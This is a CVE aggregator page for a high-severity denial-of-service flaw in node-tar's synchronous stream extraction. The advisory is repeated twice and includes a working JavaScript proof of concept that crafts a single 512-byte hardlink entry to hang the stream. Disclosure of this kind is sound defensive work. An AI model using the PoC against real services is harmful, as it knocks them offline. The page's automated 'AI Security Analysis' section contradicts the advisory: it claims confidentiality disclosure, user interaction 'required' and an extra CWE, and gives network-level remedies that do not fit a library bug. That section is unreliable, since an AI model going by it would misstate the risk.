CVE Professor
/
All CVEs
CVE-2026-140252

CVE-2026-140252 — Tar — CWE-667 · CWE-696

HIGH CVSS 7.1 ⚡ EPSS 0.7% GitHub

### Summary When node-tar's synchronous stream extraction (`tar.x({ sync: true })` without the `file` option, or a directly-constructed `UnpackSync` stream) processes any archive entry that fails, the stream never emits `end`, `finish`, or `close`. A single failing entry, for example a hardlink whose target does not exist (one 512-byte entry), emits a `TAR_ENTRY_ERROR` warning and then hangs the stream. Consumers that await stream completion hang indefinitely on hostile or merely damaged input, with no error to catch because the warning is non-fatal by design. ### Details `Unpack` (async) brackets each entry's filesystem work with `[PEND]()` / `[UNPEND]()` to hold the stream open until every entry settles; `[MAYBECLOSE]` emits completion only when `PENDING === 0`: ```ts // src/unpack.ts:244-246 [MAYBECLOSE]() { if (this[ENDED] && this[PENDING] === 0) { /* emit prefinish/finish/end */ } } // src/unpack.ts:436-447 (inherited by UnpackSync) [ONERROR](er, entry) { if (er.name === 'CwdError') this.emit('error', er) else { this.warn('TAR_ENTRY_ERROR', er, { entry }); this[UNPEND](); entry.resume() } // PENDING-- } // src/unpack.ts:728-729 async CHECKFS pends... [CHECKFS](entry) { this[PEND](); ... } ``` `UnpackSync[CHECKFS]` (src/unpack.ts:901) performs the same work but never calls `[PEND]()`, yet `UnpackSync` does not override `[ONERROR]`, so it inherits the async handler that unconditionally calls `[UNPEND]()` on any non-`CwdError` entry failure. A single failing entry therefore drives `PENDING` to `-1`. Because `[MAYBECLOSE]` requires exactly `0`, the negative counter permanently suppresses `end` / `finish` / `close`. (A separate fall-through in the same method, a missing `return` after the `rmdir` branch at src/unpack.ts:953-954, double-invokes `MAKEFS` on a directory-replacement entry, producing two warnings and `PENDING = -2`.) ### PoC Validated on source main @ 2a22bfc and against the published npm package `[email protected]`, Node v24.19.0. ```js // npm i [email protected] ; node poc.cjs const { Header, x } = require('tar'); const fs = require('fs') const dir = '/tmp/sync-hang'; fs.rmSync(dir,{recursive:true,force:true}); fs.mkdirSync(dir,{recursive:true}) const b = Buffer.alloc(512) new Header({ path:'ln', type:'Link', linkpath:'nonexistent', size:0, mode:0o644 }).encode(b,0) const u = x({ sync: true, cwd: dir }) // the UnpackSync stream let ended = false; const warns = [] u.on('end', ()=>ended=true); u.on('finish', ()=>ended=true); u.on('warn', c=>warns.push(c)) u.end(Buffer.concat([b, Buffer.alloc(1024)])) setTimeout(()=>{ console.log(ended ? 'ENDED' : '*** HANG: end/finish never emitted', 'warnings=', warns); process.exit(0) }, 1500) ``` Observed: ``` *** HANG: end/finish never emitted warnings= [ 'TAR_ENTRY_ERROR' ] ``` Controls in the same harness: the identical archive through the async file API (`x({ cwd, file })`) resolves with a single `TAR_ENTRY_ERROR`; an all-success archive through the sync-stream API ends normally and extracts its file. Disk state is fail-closed (the failing entry is simply not created). ### Impact Availability denial of service (permanent stream hang after a warning). No confidentiality or integrity effect and no incorrect data is written. The affected surface is narrow: only consumers that pipe into `new UnpackSync()` or the stream returned by `x({ sync: true })` (without `file`) and await `end` / `finish` / `close`. The default asynchronous API and the common file-based synchronous API (`x({ sync: true, file })`, which returns void) are unaffected. A single 512-byte crafted or damaged entry is enough to wedge an affected consumer.

### Summary When node-tar's synchronous stream extraction (`tar.x({ sync: true })` without the `file` option, or a directly-constructed `UnpackSync` stream) processes any archive entry that fails, the stream never emits `end`, `finish`, or `close`. A single failing entry, for example a hardlink whose target does not exist (one 512-byte entry), emits a `TAR_ENTRY_ERROR` warning and then hangs the stream. Consumers that await stream completion hang indefinitely on hostile or merely damaged input, with no error to catch because the warning is non-fatal by design. ### Details `Unpack` (async) brackets each entry's filesystem work with `[PEND]()` / `[UNPEND]()` to hold the stream open until every entry settles; `[MAYBECLOSE]` emits completion only when `PENDING === 0`: ```ts // src/unpack.ts:244-246 [MAYBECLOSE]() { if (this[ENDED] && this[PENDING] === 0) { /* emit prefinish/finish/end */ } } // src/unpack.ts:436-447 (inherited by UnpackSync) [ONERROR](er, entry) { if (er.name === 'CwdError') this.emit('error', er) else { this.warn('TAR_ENTRY_ERROR', er, { entry }); this[UNPEND](); entry.resume() } // PENDING-- } // src/unpack.ts:728-729 async CHECKFS pends... [CHECKFS](entry) { this[PEND](); ... } ``` `UnpackSync[CHECKFS]` (src/unpack.ts:901) performs the same work but never calls `[PEND]()`, yet `UnpackSync` does not override `[ONERROR]`, so it inherits the async handler that unconditionally calls `[UNPEND]()` on any non-`CwdError` entry failure. A single failing entry therefore drives `PENDING` to `-1`. Because `[MAYBECLOSE]` requires exactly `0`, the negative counter permanently suppresses `end` / `finish` / `close`. (A separate fall-through in the same method, a missing `return` after the `rmdir` branch at src/unpack.ts:953-954, double-invokes `MAKEFS` on a directory-replacement entry, producing two warnings and `PENDING = -2`.) ### PoC Validated on source main @ 2a22bfc and against the published npm package `[email protected]`, Node v24.19.0. ```js // npm i [email protected] ; node poc.cjs const { Header, x } = require('tar'); const fs = require('fs') const dir = '/tmp/sync-hang'; fs.rmSync(dir,{recursive:true,force:true}); fs.mkdirSync(dir,{recursive:true}) const b = Buffer.alloc(512) new Header({ path:'ln', type:'Link', linkpath:'nonexistent', size:0, mode:0o644 }).encode(b,0) const u = x({ sync: true, cwd: dir }) // the UnpackSync stream let ended = false; const warns = [] u.on('end', ()=>ended=true); u.on('finish', ()=>ended=true); u.on('warn', c=>warns.push(c)) u.end(Buffer.concat([b, Buffer.alloc(1024)])) setTimeout(()=>{ console.log(ended ? 'ENDED' : '*** HANG: end/finish never emitted', 'warnings=', warns); process.exit(0) }, 1500) ``` Observed: ``` *** HANG: end/finish never emitted warnings= [ 'TAR_ENTRY_ERROR' ] ``` Controls in the same harness: the identical archive through the async file API (`x({ cwd, file })`) resolves with a single `TAR_ENTRY_ERROR`; an all-success archive through the sync-stream API ends normally and extracts its file. Disk state is fail-closed (the failing entry is simply not created). ### Impact Availability denial of service (permanent stream hang after a warning). No confidentiality or integrity effect and no incorrect data is written. The affected surface is narrow: only consumers that pipe into `new UnpackSync()` or the stream returned by `x({ sync: true })` (without `file`) and await `end` / `finish` / `close`. The default asynchronous API and the common file-based synchronous API (`x({ sync: true, file })`, which returns void) are unaffected. A single 512-byte crafted or damaged entry is enough to wedge an affected consumer.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction Passive UI:P
Vuln. Conf. None VC:N
Vuln. Integrity None VI:N
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
EPSS — Exploit Prediction Scoring System
0.7%
30-day probability
In the 53. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-140252
CVSS 7.1/10 · HIGH · 01.12.2026
CWE: CWE-667, CWE-696
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 WHAT IS THIS VULNERABILITY?
Summary: ### Summary
When node-tar's synchronous stream extraction (tar.x({ sync: true }) without the file option, or a directly-constructed UnpackSync stream) processes any archive entry that fails, the stream never emits end, finish, or close. A single failing entry, for example a hardlink whose target does not exist (one 512-byte entry), emits a TAR_ENTRY_ERROR warning and then hangs th…
Affected: tar

⚡ ATTACK VECTOR
Network / Remote (AV:N) · no authentication required (PR:N) · user interaction required (UI:R) · low attack complexity (AC:L).

🌍 REAL WORLD IMPACT
Partial confidentiality disclosure (C:L); service can be completely taken down.

🛡️ REMEDIATION
→ Apply vendor security update for tar.
→ Pre-patch: put service behind VPN or apply IP allowlist.
→ Add WAF rule, create IDS alert for anomalous traffic.

⚠️ URGENCY
⚠️ This week (7 days) — High risk, anonymous remote.

────────────────────────────────────────
[Automated Technical Vulnerability & CVSS Vector Analysis]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
7.1 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-667 CWE-696 CWE-911
Affected Products (1)
tar
References & Advisories (4)
Related CVEs
9.8
CVE-2026-145055
PraisonAI pip praisonai before 4.8.0, praisonaiagents and npm praisonai before 1.8.0, and praisonai-bot, prais
9.0
CVE-2026-126111
Missing secure processing in the XSLT transformer of the Velocity $xslttool view tool in dotCMS allows a back-
8.8
CVE-2026-77471
shell-chain is a PQVM-native, post-quantum blockchain. Prior to version 0.27.1, the finality vote aggregation
8.7
CVE-2026-137408
In Eclipse Yasson versions 1.0 through 1.0.11, 2.0 through 2.0.4, and 3.0 through 3.0.6, the deserializers for
2.5
CVE-2026-144384
## Impact On Linux, a soft lock can mistake a live holder for a stale one when the locking processes see a `/
2.5
CVE-2026-144405
## Summary On Unix, `FileLock` locks a regular file that already exists at the lock path, including one anoth
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner